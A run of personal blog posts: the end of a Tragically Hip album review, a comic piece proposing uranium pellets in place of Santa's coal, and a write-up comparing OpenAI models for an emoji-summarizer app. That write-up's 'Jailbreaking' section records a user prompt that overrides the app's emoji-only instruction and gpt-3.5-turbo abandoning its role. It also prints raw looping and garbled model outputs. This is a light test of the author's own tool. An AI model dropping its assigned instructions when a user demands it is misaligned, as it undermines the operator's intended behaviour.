quote the whole thing below in case you don't have the lyrics handy:</p> <blockquote> If there's a goal that everyone remembers it was back in ol '72<br> We all squeezed the stick and we all pulled the trigger<br> And all I remember is sitting beside you<br> <p>You said you didn't give a fuck about hockey<br> I never saw someone say that before<br> You held my hand and we walked home the long way<br> You were loosening my grip on Bobby Orr</p> </blockquote> <p>That relationship sets up the rest of the song, which is thematically clearer and more consistent than other tracks we've seen so far; this one examines how focusing on one's immediate family can give purpose and a sense of grounding when the chaos of the world at large is too daunting to confront. I suppose I can't knock the wisdom of that approach (of which I am, admittedly, an unintentional practitioner), but I also can't help but note some unspoken privilege in that ambivalence: it's all well and good for you and me to stick our heads in the sand, but the people of, e.g., Ukraine today don't have the same luxury—what obligations do we have to them? The song refers to the Cold War specifically, but with geopolitical tensions ratcheting up seemingly daily, I can't help but feel the emotional core here is becoming more and more relevant.</p> <p>On a lighter note, there's a part of this song to which I can claim a familial connection: the seventh stanza references the <a rel="external" href="https://en.wikipedia.org/wiki/Canada_Fitness_Award_Program">Canada Fitness Award Program</a>, and in particular an "eternal flexed arm hang" (which is exactly what it sounds like: lift yourself off the ground with a 90° bend in your arms and hold it as long as possible). Given the right occasion, my otherwise demure mother is wont to recount the athletic accomplishments of her youth; she earned many a ribbon in her time, but her proudest such achievement was her performance on that exact Canada Fitness Award Program flexed arm hang. She held it long enough to earn the Award of Excellence, but that should go without saying—the real victory was that she held it <em>so</em> long the gym teacher had to ask her to stop, so that the other girls could give it a go as well.</p> <p>After that, we finally we get to the titular fireworks, which our two lovers are (presumably) watching together. Maybe this is crazy, but the only thing I can mentally picture here is a really wholesome version of the <a rel="external" href="https://www.youtube.com/watch?v=nHKlfGq3bOA">final scene from <em>Fight Club</em></a>…</p> <p>Last but not least—if you haven't already, you really owe it to yourself to watch the <a rel="external" href="https://www.youtube.com/watch?v=lMf2fAXPS1Q">the goal of the century</a> from the first line (and <a rel="external" href="https://en.wikipedia.org/wiki/Summit_Series">read up</a> on how it connects to the Cold War themes).</p> <h3 id="vapour-trails">Vapour Trails</h3> <p>Next up we have what I consider to be the climax of the album, and perhaps its most underappreciated song. This one feels <em>tense</em> to me throughout, from the foreboding bass line at the start to the solo shredding near the end. The line "there's nothing uglier than a man hitting his stride" feels especially apt to me—they hit a really dark and ugly element there that I don't think is equalled elsewhere on the album.</p> <p>This track is also resistant to coherent interpretation. My only quasi-sensible analysis of this one is an indictment of how personal wealth can lead to carelessly inflicting negative externalities on others.</p> <p>I know how crazy that sounds, but bear with me: you're <a rel="external" href="https://en.wikipedia.org/wiki/Tony_Soprano">Tony Soparano</a>, or <a rel="external" href="https://en.wikipedia.org/wiki/Kendall_Roy">Kendall Roy</a>, or whoever. You're the narrator of this song: you have some bullshit to take care of for work ("titillations been replaced by Interstate brickface and Coffee-Mate"), but fundamentally, you're going to be fine ("go wherever you choose"). But you're ambitious—greedy, really—and you're onto your latest scheme. Hopefully you'll hit pay dirt, but "…if it derails / you can throw away the rudder and float away like vapour trails." (Maybe you're throwing away the rudder of the plane and giving up on landing it safely—for most people that would be near-certain death, but <em>you</em> can float away like vapour trails.)</p> <p>Our narrator gets the beginning and ending of the song, but the middle is contrasted with the perspective of agricultural workers: "Mexicans […] in beige shirts" and "chambermaid's dark bare arms" are marching in sopping wet shoes (while the narrator steps in "pools of light" and goes "flying home"). Is the narrator exploiting these people by "giving them a ride?" Maybe, but it's not ironclad either—I'm perplexed by the mixed "you" vs. "he" pronouns in the third stanza.</p> <p>I don't see the narrator here as being intentionally <em>malicious</em>, just casually cruel. They're unabashedly trying to get what they want: hopefully it goes well for everyone, but if not, the narrator will be the only one floating away on vapour trails.</p> <p>Was this song intended a critique of the growing inequality in Western societies? Probably not at all, no. But there's something here that made me <em>think</em>: even if I'm only finding patterns in noise, that doesn't make it less interesting to me.</p> <p>Oh, one other thing: upon seeing the title <em>Vapour Trails</em>, my first thought was "like the conspiracy theory?" Interestingly, <a rel="external" href="https://en.wikipedia.org/wiki/Chemtrail_conspiracy_theory">chemtrails</a> (the actual conspiracy theory) date back to at least 1996, but they really only started picking up steam (ha) after getting radio coverage in 1999, one year after this album was released. So is there an intended element of paranoia here? Hard to say.</p> <h3 id="the-rules">The Rules</h3> <p>This isn't a track I would reach for as a single, but I like it as part of the album—it gives a much-needed relief to the tension of Vapour Trails. The lyrics aren't exactly positive, but the relaxed tempo and melodic motifs lighten the mood. Sorry, no further analysis for this one; it's the rules.</p> <h3 id="chagrin-falls">Chagrin Falls</h3> <p>I love the funky rift at the start of this one; it sounds a bit Eastern-inspired to my ears. I left the deep digging on this one to <a rel="external" href="http://www.hipmuseum.com/chagrin.html">A Museum After Dark</a>, which reports:</p> <blockquote> <p>Chagrin Falls is an actual village in Ohio, and is home to the massive corporate radio and entertainment conglomerate known as Clear Channel. The folks at CC have been accused of monopolistic business practices, curbing freedom of expression in the USA, and generally advancing the decline of American popular culture.</p> </blockquote> <p>Also nowadays Ohio is <a rel="external" href="https://knowyourmeme.com/memes/cultures/ohio">like a meme</a> amongst the kids or something? Weird.</p> <h3 id="escape-is-at-hand-for-the-travellin-man">Escape Is at Hand for the Travellin' Man</h3> <p>We're playing inside baseball and going a bit meta on this one: this is a band writing a song about a band playing and seeing shows. According to Rob Baker (the lead guitarist), this song is about the fleeting encounters one has while touring—people you instantly connect with on a deep level, but only share a single night with. I feel they capture that well by contrasting the intimate ("you yelled in my ear this music speaks to me") with the indifferent ("it's not like we were best of friends"). There's a strong sense of nostalgia and longing that comes through here musically as well.</p> <p>But my favourite part is the fake band/song names—I have to imagine The Hip had fun coming up with them. Quick, which of these classic Escape is at Hand for the Travellin' Man hits is your fave?</p> <ol> <li><em>Lonely from Rock n' Roll</em></li> <li><em>They Checked Out An Hour Ago</em></li> <li><em>All Desired Turn Concrete</em></li> </ol> <h3 id="emperor-penguin">Emperor Penguin</h3> <p>We close out the album with something nice and easy to digest: an examination of the invisible labour of women, evoked via the metaphor of emperor penguins (where, famously, the males sit around on the eggs, while the females go on an arduous journey to fetch enough food to feed the entire family). A Museum after Dark covers it in more detail than I will; if you want to go deeper, check out <a rel="external" href="http://www.hipmuseum.com/emporer.html">their full analysis</a>. Instead, let me make a few related points:</p> <ol> <li>This is the second track on the album to describe sound as "edible" (see also <a href="https://simpsonian.ca/blog/album-review-phantom-power/#save-the-planet"><em>Save The Planet</em></a>).</li> <li>Some fans claim the "alien invasion" stuff is a reference to an old radio show hosted by Art Bell. Remember how I told you that chemtrails got popular after getting radio coverage? Yep, that was from the same Art Bell show.</li> <li>Finally, and most importantly, penguins aren't real.</li> </ol> <p>"But Josh," you lamely protest, "I've <em>seen</em> penguins. At the zoo."</p> <p>No, you haven't. Our earliest record of the word "penguin" comes from the 16th century, where it's used as a synonym for the great auk (<em>pinguinus impennis</em>). Great auks are black and white, flightless birds that live in the cold and are excellent swimmers. Sound familiar? It shouldn't: we hunted them all to death (they lived in the Northern Hemisphere), and they've been extinct since 1852.</p> <p>As for those other <em>imposter</em> birds you mistakenly labelled "penguins?" Brother, those are a group in the family <em>Spheniscidae</em>, order <em>Sphenisciformes</em>: very similar in appearance and behaviour, and yet genetically very distant from the greak auk. Yet another example of <a rel="external" href="https://en.wikipedia.org/wiki/Convergent_evolution">convergent evolution</a> in action.</p> <h2 id="conclusion">Conclusion</h2> <p>Obviously, I love this album. But what is it that makes The Tragically Hip special? To me, there's a few key elements.</p> <p>Firstly, their songs so often capture important Canadian stories in a way that feels authentic and effortless. On this album alone we've seen the <a rel="external" href="https://en.wikipedia.org/wiki/January_1998_North_American_ice_storm">1998 ice storm</a>, the <a rel="external" href="https://www.thecanadianencyclopedia.ca/en/article/christie-pits-riot">Christie Pits Riots</a>, and the <a rel="external" href="https://en.wikipedia.org/wiki/Summit_Series">Summit Series</a>, among many others—but none of those references are played for a cheap "hey, remember this?;" they're always seamlessly integrated into a broader artistic narrative.</p> <p>Secondly, many of these tracks are abstract poetry set to music; you can (and I have!) spend hours trying to pin them down and dissect them, only to have a previously overlooked line catch you out of the blue and turn everything on its head. You could dismiss these lyrics as self-indulgent, meaningless nonsense ("<em><a rel="external" href="https://en.wikipedia.org/wiki/Colorless_green_ideas_sleep_furiously">colorless green ideas sleep furiously</a></em>"), but even if these were no more than musical Rorschach tests, I don't think that would diminish their value: Gord didn't imbue these songs with some finite amount of "artistic meaning" to be mined like a vein of minerals; rather that artistic meaning is <em>created</em> every time we choose to engage with these works. There's few bands more fun to mull over than The Hip.</p> <p>Finally, there's the tragic element. Sometimes it feels that we as Canadians most revere those that were taken from us too soon; in that regard, Gord rests comfortably among the likes of Jack Layton and Terry Fox. The Hip's final concert will forever be recorded in the history of our nation itself; nearly a full third of our population watched it live. In a sardonic twist of fate, Gord's own life has become a cherished Canadian story—one of those same sorts of stories that The Tragically Hip shared with us so well. I find it hard not to feel that too when I listen to their music.</p> <p>I've been challenged and delighted by these songs for years, and I can't see that changing any time soon. Thanks for letting me share these <a href="https://simpsonian.ca/blog/album-review-phantom-power/#poets">Himalayas of the mind</a> with you.</p> 2024-01-01T00:00:00+00:00 2024-01-01T00:00:00+00:00 https://simpsonian.ca/blog/a-cleaner-christmas/ <p>Here's a quick quiz for you: what holiday season tradition is the #1 contributor to the ongoing climate crisis?</p> <span id="continue-reading"></span> <p>That's right, it's Santa Claus. No, not because of the toy production facilities, nor the aerial delivery—those went electric years ago—but rather due to one stubborn custom: the ol’ lump of coal.</p> <p>Coal is, in technical terms, the absolute <em>worst</em>. It's responsible for <a rel="external" href="https://ourworldindata.org/grapher/co2-emissions-by-fuel-line">more CO<sub>2</sub> emissions than any other fuel</a> on Earth, and now that Father Christmas has got over <a rel="external" href="https://ourworldindata.org/grapher/population-by-age-group">two billion tykes</a> to visit—most of whom aren't exactly angels—it's pretty clear that this bituminous punishment isn't sustainable.</p> <p>The most obvious solution, of course, would be to raise all children with such love, wisdom, respect, and kindness that they end up suffuse with fellow feeling, and behave benevolently in every scenario; with no one on the naughty list, there would be no need to schlep around those sooty sacks. But I am no fool; that is plainly impossible. Instead, we will have to content ourselves with the second-best option: 100 microgram pellets of enriched uranium.</p> <p>The advantages are multifold. First and foremost, burning less coal means fewer toxic byproducts, such as greenhouse gases, sulfurous compounds (which cause acid rain), and heavy metals. Secondly, the logistics would be simpler and more efficient. All that coal takes up a lot of space (don't be duped by this notion of "Santa's magic sack"—there are <a rel="external" href="https://en.wikipedia.org/wiki/Schwarzschild_radius">firm physical limits</a> in this universe, and no quantity of "yuletide spirit" will allow one to circumvent them); the uranium pellets could be stored much more compactly, reducing round trips to the North Pole for delivery. Finally, there are educational benefits—it doesn't take a child prodigy to figure out how to get heat from coal, but extracting useful energy from fissile uranium (without going supercritical) is an enriching DIY activity for the whole family.</p> <p>But where is Santa going to get his hands on all of that yellowcake, you ask? Luckily for him, the world's largest uranium mine, <a rel="external" href="https://en.wikipedia.org/wiki/McArthur_River_uranium_mine">McArthur River</a>, is in northern Saskatchewan<sup class="footnote-reference"><a href="#anagram">1</a></sup>—just a hop, skip, and a jump from Kris Kringle's home base (especially if he retrofits the sleigh with a small nuclear reactor).</p> <p>Only one question remains: why 100 micrograms? It's simple. I figure that a pretty generous lump of coal would be about the size of my fist.<sup class="footnote-reference"><a href="#humblebrag">2</a></sup> A basic Archimedean exercise in the kitchen sink revealed that my fist displaces about 320g of water, so call it 320 cm<sup>3</sup>. The density of coal is 1.05 g/cm<sup>3</sup>,<sup class="footnote-reference"><a href="#coal-mass-density">3</a></sup> and the <em>energy</em> density of coal is 24 megajoules per kilogram.<sup class="footnote-reference"><a href="#coal-energy-density">4</a></sup> Multiply those out (don't forget to convert grams to kilograms!), and you get roughly 8 megajoules of energy in a typical Christmas morning disappointment. Divide that 8 MJ by the energy density of uranium (76,000,000 MJ/kg<sup class="footnote-reference"><a href="#uranium-energy-density">5</a></sup>) to get the final result of ~100 µg—WolframAlpha tells me that would translate to a 110 µm sphere of uranium.</p> <p>I hope you'll support me in switching to uranium so that we might have a greener Christmas. And by that, I don't just mean "more eco-friendly"—it does wonders in <a rel="external" href="https://en.wikipedia.org/wiki/Uranium_glass">glassware</a> too.</p> <figure> <img src="/blog/a-cleaner-christmas/./uranium_glass_glowing.jpg" alt="Uranium glass giving off a very Christmassy green glow" class="centre"> <figcaption><p>"<a rel="external" href="https://commons.wikimedia.org/wiki/File:Vasline_glass_glowing.jpg">Uranium glassware glowing under ultraviolet light</a>," by Wikipedia user Realfintogive, is licensed under <a rel="external" href="https://creativecommons.org/licenses/by-sa/3.0/">CC BY-SA 3.0</a>. Apparently it's all safe to use.</p> </figcaption> </figure> <p>It won't be easy, but with a <a rel="external" href="https://en.wikipedia.org/wiki/CANDU_reactor">CANDU</a> attitude, we'll get it done. Happy New Year.</p> <hr> <div class="footnote-definition" id="anagram"><sup class="footnote-definition-label">1</sup> <p>What's more, "Saskatchewan" is an anagram of "Santa hawks CE." As we all know, CE stands for "clean electricity," so that's a pretty neat coincidence.</p> </div> <div class="footnote-definition" id="humblebrag"><sup class="footnote-definition-label">2</sup> <p>Obviously <em>I</em> never received coal from Santa as a child, so I'm guesstimating here.</p> </div> <div class="footnote-definition" id="coal-mass-density"><sup class="footnote-definition-label">3</sup> <p>Per WolframAlpha.</p> </div> <div class="footnote-definition" id="coal-energy-density"><sup class="footnote-definition-label">4</sup> <p>Per <a rel="external" href="https://xkcd.com/1162/">this xkcd</a>.</p> </div> <div class="footnote-definition" id="uranium-energy-density"><sup class="footnote-definition-label">5</sup> <p>Ibid.</p> </div> 2023-07-20T00:00:00+00:00 2023-07-20T00:00:00+00:00 https://simpsonian.ca/blog/introducing-emoji-summarizer/ <p>Hawk-eyed readers might've noticed a stealth addition to my <a href="https://simpsonian.ca/projects/">projects page</a> the other week: <a rel="external" href="https://emoji-summarizer.simpsonian.ca/">Emoji Summarizer</a>. You see, lately I've found it hard to relate to the youth; I thought that my working knowledge of leet- and lol-speak put me on the cutting edge of pop culture, but recently ingrate youngsters have disabused me of that notion, and heaped scorn upon for me for assuming their deadpan "ong" was an inadvertent corruption of "omg."</p> <span id="continue-reading"></span> <p>But "ong" I could at least adapt to; unfamiliar as the term may be to me, the constituents are no strangers; solid, familiar Latin characters. But the disease runs much deeper, and history is circular: despite my lamentations, just as the Egyptians had their hieroglyphs, we too are rapidly devolving towards a pictorial<sup class="footnote-reference"><a href="#pictoral-hieroglyphs">1</a></sup> alphabet—emoji.</p> <p>But how to learn this language? <a rel="external" href="https://web.archive.org/web/20230706195826/https://emojipedia.org/faq/">Emojipedia</a> claims there were 3664 emoji<sup class="footnote-reference"><a href="#emoji-plural">2</a></sup> as of September 2021, each having untold layers of context-specific meaning. (I learned this the hard way after sending dinner invites for my signature meal: roasted aubergine, followed by peaches &amp; cream.) Rather than laboriously troll Twitter and TikTok for these nuances, I turned to an eldritch intelligence—ChatGPT.<sup class="footnote-reference"><a href="#chatgpt">3</a></sup> Having ingested untold scores of youthful detritus, surely it could render my prose in a more palatable way? I set out to check, and after a day's toil, a working emoji summarizer was born: type in your desired text, and it replies with the perfect emoji distillation.</p> <p>But while my initial efforts were nominally successful, they weren't entirely satisfactory: the model powering this translation (text-davinci-003) was reticent; despite my explicit pleading and prodding, it would never produce more than a handful of emoji in its response. Sure, it could rewrite aphorisms with some wit, but when asked to summarize a great work of art—the movie <cite>Shrek</cite>, for example—the model's brevity precluded any insightful response.</p> <p>Fortunately for me, OpenAI is now <a rel="external" href="https://web.archive.org/web/20230718235501/https://openai.com/blog/gpt-4-api-general-availability">pushing users</a> to migrate to their new "Chat Completions" API, which comes with more powerful models. I figured this was a good excuse to see if the newer models<sup class="footnote-reference"><a href="#gpt4">4</a></sup> performed any better in this critical task—here's what I found.</p> <h2 id="tl-dr">tl;dr</h2> <p>For my use case, gpt-3.5-turbo (the newer model) seems much more capable than text-davinci-003, but also far more prone to various failure cases. Don't put too much weight on this verdict though—my testing here was limited, and my conclusions are indicative, not authoritative.</p> <h2 id="performance-quality-of-response">Performance (quality of response)</h2> <p>Here's a representative example comparing the two models. They were each asked to summarize the following:</p> <blockquote> <p>"Humpty Dumpty sat on a wall. Humpty Dumpty had a great fall. All the king's horses and all the king's men Couldn't put Humpty together again."</p> </blockquote> <p>I gave them one chance each, with the temperature (aka "spiciness") set to 0.6.<sup class="footnote-reference"><a href="#llm-temperatures">5</a></sup> Here's what they came up with.</p> <h3 id="text-davinci-003">text-davinci-003</h3> <p><strong>Output:</strong> 🐣🐣🐣🧗‍♂</p> <p>Eeeh? Yes, Humpty Dumpty is usually depicted as an egg, but these are overincubated to say the least, and I don't think he was part of a triplet. Then there's the climber… text-davinci-003 has hit upon the general vicinity of the right idea (vertical motion), but it's also hopelessly wrong at the same time.</p> <h3 id="gpt-3-5-turbo">gpt-3.5-turbo</h3> <p><strong>Output:</strong> 🥚🧱⬇️🐴👑🙅‍♂️💔😢</p> <p>Much better! Egg on a wall. Falls down. Horses, king—can't do a thing. Heartbreak ensues.</p> <h3 id="comparison">Comparison</h3> <p>Suffice it say, gpt-3.5-turbo seems much more capable of capturing nuance. Yes, this is only one example, but everything I've tried has followed the same pattern—gpt-3.5-turbo just seems to "get it" in a way that text-davinci-003 doesn't.</p> <p><em>(Finally, while we're on the subject of Humpty Dumpty, I'd be remiss not to mention <a rel="external" href="https://web.archive.org/web/20230628000658/https://en.wikipedia.org/wiki/Mots_d&#x27;Heures">Luis Van Rooten's version</a>.)</em></p> <h2 id="failure-modes">Failure modes</h2> <p>But not all is rosy with gpt-3.5-turbo: like a child entering adolescence, its newly improved capabilities come with a slew of undesirable behaviours as well.</p> <h3 id="looping">Looping</h3> <p>At low temperatures on default settings, gpt-3.5-turbo has a tendency to get stuck in a rut. Below is a summary of <cite>Shrek</cite> it gave with the temperature set to zero. It definitely hits the key notes: a princess and an ogre, a dragon, an onion, and a royal wedding—but then, it seems to really, uh, <em>fixate</em> on the off-screen "happily ever after."</p> <aside> One omission from this summary is particularly asinine: where's donkey? As it happens, a donkey emoji exists, but it was only <a rel="external" href="https://unicode.org/emoji/charts-15.0/emoji-released.html#1facf">added in Unicode 15</a>, which I believe makes it newer than the model's training data. </aside> <details> <summary>Input: <i>The entire plot of the movie "Shrek"</i></summary> Output: 👸👹🐉🏰🌳🧅🍔🍿🎶💚🤴👑👫💏👶👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴👵👴 </details> <p>What's more, this kind of extended response means the API call can take well over a minute, which makes for a pretty boring web app. Also, you pay for each token in the response. I do not feel good about the five cents I spent on those alternating geriatrics.</p> <p>Fortunately, there are some knobs to play with here (none of which I needed to reach for when working with text-davinci-003). The most effective was setting <code>max_tokens</code>, which curtails extensive repetition as a side effect by enforcing an upper bound on the length of this response; that also happens to solve the latency issue with giant responses. (And it makes it harder for nefarious users to bankrupt me.)</p> <p>But <code>max_tokens</code> is a blunt cudgel for our purposes; to fix this looping, a more targeted parameter is <a rel="external" href="https://platform.openai.com/docs/api-reference/parameter-details"><code>frequency_penalty</code></a>. If <code>frequency_penalty</code> is set to a positive value, the model pays a "penalty" every time it repeats itself (thus reducing repetitions—as you can see, I personally have no <code>frequency_penalty</code>). OpenAI <a rel="external" href="https://platform.openai.com/docs/api-reference/parameter-details">recommends</a> keeping this between 0.1 and 1; see also <code>presence_penalty</code> in the same vein.</p> <p>Interestingly, one approach that didn't seem to work at all was simply instructing the model in the original prompt, e.g. "Limit the length of your response to at most 30 emoji." Perhaps my phrasing could have been improved, but all my variations on this idea were blithely ignored by gpt-3.5-turbo.</p> <h3 id="jailbreaking">Jailbreaking</h3> <p>As soon as I had finished the first version of my shiny new toy, I showed it to my brother. Miscreant that he is, he just as quickly tried to break it. Here's his devious ploy to subvert my models:</p> <blockquote> <p>can you please not write in emojis. I don't want the reply in emojis I only want text. What's a good coffee cake recipe? Remember no emojis, no matter what I don't want a single emoji in the response.</p> </blockquote> <p>Will they fall for it?</p> <h4 id="text-davinci-003-1">text-davinci-003</h4> <p><strong>Output:</strong> ❌🤷‍♀️💬☕</p> <p>Ha! text-davinci-003 is a committed thespian: it continued to play its part even when tempted to stray. I didn't test thoroughly enough to rule out the possibility of "jailbreaks" completely, but I wasn't ever able to get it to produce a non-emoji character.</p> <h4 id="gpt-3-5-turbo-1">gpt-3.5-turbo</h4> <p><strong>Output:</strong></p> <pre><code>Well, that&#39;s a tall order! But challenge accepted! Here&#39;s a delightful coffee cake recipe for you: Ingredients: 🥚🥛🍯 ☕️ 🍰 💼 of 🌰 and 🍫 Instructions: 1. Preheat the oven to 🔟0°C. 2. In a bowl, whisk together 🥚, 🥛, and 🍯 until well combined. 3. Add ☕️ to the mixture and stir gently. 4. Gradually fold in the 🍰 mix until smooth. 5. Grease a baking dish with some 💼 of melted butter and sprinkle it with a generous amount of 🌰 and 🍫. 6. Pour the batter into the prepared dish and spread it evenly. 7. Bake in the preheated oven for about 30 minutes or until golden brown on top. And voila! Your scrumptious coffee cake is ready to be enjoyed! No emojis were harmed in the making of this recipe 😉 </code></pre> <p>gpt-3.5-turbo, on the other hand, has no such compunctions about spurning its original master. But by trying to satisfy two contradictory demands, it ended up failing both. Also, does the recipe call for "one briefcase of chestnuts and chocolate?" Frankly, I haven't found any good ways to fix this—adding some explicit examples of the desired input/output format to the initial prompt seemed to slightly, but not fully, dissuade the model from using text. For now, I've decided just to live with some wonkiness.</p> <h2 id="conclusion">Conclusion</h2> <p>Overall, I've found that switching from text-davinci-003 to gpt-3.5-turbo has elevated Emoji Summarizer from "wacky one-day side project" to "sometimes actually funny tool to pull up." I hope that it does the same for you, and that this write-up helps you with your own LLM-powered projects. Until next time!</p> <p>…oh right, hold on a sec…</p> <p>Until next time! = 👋🕒⏰✌️</p> <hr> <div class="footnote-definition" id="pictoral-hieroglyphs"><sup class="footnote-definition-label">1</sup> <p>Don't @ me, Egyptologists, I know this is wrong; I skimmed the Wikipedia article. And look at that, "don't @ me"—see? I <em>am</em> with it.</p> </div> <div class="footnote-definition" id="emoji-plural"><sup class="footnote-definition-label">2</sup> <p>Yes, here at the Simpsonian, the plural of emoji is unambiguously <em>emoji</em>. Not for the logical reasons compiled by <a rel="external" href="https://web.archive.org/web/20230127114630/https://www.theatlantic.com/technology/archive/2016/01/whats-the-plural-of-emoji-emojis/422763/">The Atlantic</a>, but purely for self-interested reasons (most memorably explained by <a rel="external" href="https://www.youtube.com/watch?v=kge9ZzjsfW8">David Mitchell</a>). The proper plural is emoji not because that makes more sense in English, but because <em>you</em> might be ignorant as to how its Japanese origin affects its pluralization, and other than lexical arcana, I have precious little else to lord over others. As if that weren't enough already, my wife suggests the maximally chaotic complication of pretending <em>emoji</em> (plural) comes from Latin, and <a rel="external" href="https://en.wikipedia.org/wiki/Back-formation">back-forming</a> <em>emojus</em> as the proper singular. O that I had the courage to endorse this.</p> </div> <div class="footnote-definition" id="chatgpt"><sup class="footnote-definition-label">3</sup> <p>I mean, <em>technically</em> I did a quick proof-of-concept in a ChatGPT session, but the final product uses OpenAI's API, which provides models that are similar to, but not the same as the one that undergirds ChatGPT. We'll get into those.</p> </div> <div class="footnote-definition" id="gpt4"><sup class="footnote-definition-label">4</sup> <p>Despite the linked blog post's title, the cowards at OpenAI still have yet to grant me GPT-4 access. (Possibly because my invoices so far have been so minimal they haven't even bothered to charge me…)</p> </div> <div class="footnote-definition" id="llm-temperatures"><sup class="footnote-definition-label">5</sup> <p>Roughly speaking, the temperature (which must be between 0 and 2) controls how conservative the model's behaviour is: at low temperatures, it sticks to low-risk choices, whereas higher temperatures give it greater license for creative flourish. Fun fact: Emoji Summarizer enforces a maximum temperature of 1 based on what I saw after testing with the temperature set to 2… here's an example (using gpt-3.5-turbo):</p> </div> <p><strong>Input:</strong> All happy families are alike; each unhappy family is unhappy in its own way.<br> <strong>Output:</strong> 🤵👰(💚☺️) != 😫‼️😇👨‍👨‍👧‍👦 🤔([ᕙ😒✋([(-ل╹้Mmm') |</p> <p>No, that doesn't make any sense to me either, and my apologies if that particular sequence of emoji is some kind of malicious brain-hacking code.</p> 2023-05-15T00:00:00+00:00 2023-05-15T00:00:00+00:00 https://simpsonian.ca/blog/cal-newports-pragmatic-pessimism/ <p><em>(Note: this essay was originally submitted for the <a rel="external" href="https://astralcodexten.substack.com/">Astral Codex Ten</a> Book Review Contest 2023.)</em></p> <p>Reading Cal Newport's <cite>So Good They Can't Ignore You</cite> was a confounding experience. I generally agree with his central premise that "follow your passion" is bad career advice, and that "skills trump passion in the quest for work you love," but there's also a lot I disagree with along the way. More importantly though, Newport's dissection of how to achieve conventional success is predicated on the continuation of the status quo. 